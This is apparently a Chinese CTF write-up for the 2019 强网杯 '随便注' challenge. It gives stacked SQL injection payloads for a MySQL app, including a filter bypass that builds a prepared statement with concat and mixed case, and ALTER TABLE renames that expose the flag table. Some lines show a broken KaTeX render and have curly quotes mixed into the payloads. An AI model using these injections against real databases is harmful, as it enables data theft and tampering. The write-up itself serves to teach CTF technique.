[强网杯 2019]随便注(预处理/更改表名列名)

打开环境
[强网杯 2019]随便注(预处理/更改表名列名)
-1’ or 1=1#
有注入

[强网杯 2019]随便注(预处理/更改表名列名)

1’ union select 1,2# 有过滤,preg_match会过滤大小写。union查询无法使用了。
[强网杯 2019]随便注(预处理/更改表名列名)
尝试堆叠注入";"将查询分开。
查询所有数据库:
-1’;show databases;#
显示正常,发现是mysql数据库

[强网杯 2019]随便注(预处理/更改表名列名)
查询当前数据库的表:
-1;show tables;#

[强网杯 2019]随便注(预处理/更改表名列名)
查询这两个表中的字段,这里可以使用show也可以使用desc
-1’;show columns from '1919810931114514';#
查询这个表需要用反引号括起来,反引号 `

-1’;desc '1919810931114514';#

[强网杯 2019]随便注(预处理/更改表名列名)
发现flag字段
再查一下words
1’; show columns fromwords;#
[强网杯 2019]随便注(预处理/更改表名列名)
由于提取字段需要select * from flag,但是select
所有这里有两种方法:预处理和rename改表名字段名
1、预处理
set:设置预处理的语句
prepare:引用预处理的语音
execute:执行语句
-1'; sEt @sql=concat('sel','ect * from `1919810931114514`;');prEpare asd from @sql;execute asd;#
asd自己定义的,不要设置为数字。
这里set和prepare都要进行一次过滤
,因为正常输入-1'; set @sql=concat('sel','ect * from `1919810931114514`;');prepare asd from @sql;execute asd;#后显示
strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”)但是strstr不过滤大小写。
[强网杯 2019]随便注(预处理/更改表名列名)
2、rename
之前查询了words发现了datat字段,表明了你之前输入1,2,3查查询的信息都在data里
[强网杯 2019]随便注(预处理/更改表名列名)
所以可以将表flag改为words,将words改成任意名字。再将列flag改为id
-1';alter table words rename to asd;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
最后输入1’ or 1=1#
[强网杯 2019]随便注(预处理/更改表名列名)